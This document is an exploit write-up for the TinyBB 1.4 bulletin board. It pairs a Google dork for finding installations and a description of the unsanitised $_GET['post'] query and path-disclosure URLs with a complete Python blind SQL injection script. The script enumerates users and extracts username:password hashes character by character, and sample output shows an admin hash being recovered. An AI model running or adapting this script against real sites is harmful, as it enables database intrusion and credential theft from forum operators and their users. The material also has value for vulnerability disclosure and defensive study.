# Exploit Title : TinyBB 1.4 Sql Injection + Path Disclosure # Google Dork : "Proudly powered by TinyBB" # Date : 7 April 2011 # Author : swami # Contact : flavio[dot]baldassi[at]gmail[dot]com # Version : 1.4 # Tested on : Centos 5.5 with magic_quotes_gpc off # Thanks to : ptrace.net # # From tinybb.net # ------------------------- # "TinyBB is a free, simple bulletin board script. TinyBB's community is slowly growing and the number # of installs is slowly rising. TinyBB's software is 100% free and so are our official add-ons." # # Sql Injection [Fixed] # ----------------------- # The vulnerability exist in /inc/viewthread.php file at line 3. As you can see below the $_GET['post'] parameter isn't # properly sanitized. # # $check_thread = mysql_query("SELECT * FROM `tinybb_threads` WHERE # `thread_key` = '$_GET[post]'") or die(mysql_error()); # # Path Disclosure [Not fixed] # -------------------- # A remote user can access these files to cause the system to display an error message that indicates the installation # path. # 1- http://host/inc/login.php # 2- http://host/inc/categories.php # #swami@swami-desktop:~/Documents/py$ ./tinybb.py # # [+] TinyBB thread url: http://192.168.2.6/tinybb/index.php?page=thread&post=444709648 # [?] Set up a Proxy ? [y/n] y # [+] Proxy ip:port: 127.0.0.1:3128 # [+] Proxy is found to be working # [+] Testing url: http://192.168.2.6/tinybb/index.php?page=thread&post=444709648 # [+] Url vulnerable: YES # [+] Users into the db: 1 # [+] Executing blind sql injection, this will take time ... # # [+] UserId 76: admin:64d7103eef2b14bbb2d0b57c38cc3fbee29ff72a # # [+] Done #
#!/usr/bin/python # import sys import urllib.request
def banner(): print('+ +') print('| ------------------------------ |') print('| TinyBB 1.4 Blind Sql INjector |') print('| ------------------------------ |') print('+ by swami +\n')
def setProxy(ip): try: proxy = urllib.request.ProxyHandler( {'http':'http://'+ str(ip) } ) opener = urllib.request.build_opener( proxy ) opener.open('http://www.google.com') print('[+] Proxy is found to be working')
except: print('[-] Proxy doesn\'t work') print('[-] Exit ...') sys.exit(1)
return opener
def testUrl(url, handle):
print('[+] Testing url: '+ url)
try: req = handle.open( url ) req = req.read().decode('utf-8')
except: print('[-] '+ url +' is not a valid url') print('[-] Exit ...') sys.exit(1)
return req
def urlVulnerable(url, clean, handle):
sys.stdout.write('[+] Url vulnerable: ')
try: req = handle.open( url + "'" ) req = req.read().decode('utf-8')
except: sys.exit('\n[-] Url typing error')
if len(clean) > len(req): sys.stdout.write('YES\n') sys.stdout.flush()
else: sys.stdout.write('NO\n[-] Exit...\n') sys.stdout.flush() sys.exit(1) def getTrueValue(url, handle):
trueValue = handle.open( url + "'%20and%20'1'='1" ) return len( trueValue.read().decode('utf-8') )
def getNUsers(url, trueValue, handle):
users = list()
sys.stdout.write('[+] Users into the db: ') sys.stdout.flush()
for userid in range(1,100):
inject = url + "'%20and%20(SELECT%201%20FROM%20members%20WHERE%20id="+ str(userid) +")='1"
try: req = handle.open( inject ) req = req.read().decode('utf-8')
except: print('[-] Somenthing went wrong') sys.exit(1)
if len(req) == trueValue: users.append(userid)
sys.stdout.write( str(len(users)) )
return users
def doBlind(url, handle, nUserId, trueValue):
print('\n[+] Executing blind sql injection, this will take time ...\n')
for x in range(len(nUserId)):
position = 1 # Line position userid = nUserId[x] char = 33 # Start from !
sys.stdout.write('[+] UserId '+ str(userid) +': ') sys.stdout.flush()
# Execute Blind Sql INjection while True:
inject = url inject += "'%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20FROM%20" inject += "members%20WHERE%20id="+ str(userid) +"),"+ str(position) +",1))>"+ str(char) +"%20--'"
result = handle.open( inject ) result = result.read().decode('utf-8')
# If we don't get errors if len(result) == trueValue: char += 1
else:
if position > 43 and chr(char) == "!": break
else: sys.stdout.write( chr(char) ) sys.stdout.flush() position += 1 char = 33 #Reset char
if char == 127 : print('[-] Ascii table is over. Exit... :/') sys.exit(1)
print()
if __name__ == "__main__":
banner() url = input('[+] TinyBB thread url: ')
if input('[?] Set up a Proxy ? [y/n] ') == 'y' : handle = setProxy( input('[+] Proxy ip:port: ') )
else: handle = urllib.request.build_opener()
clean = testUrl(url, handle) urlVulnerable(url, clean, handle) trueValue = getTrueValue(url, handle) userId = getNUsers(url, trueValue, handle) doBlind(url, handle, userId, trueValue)
print('\n[+] Done ')
|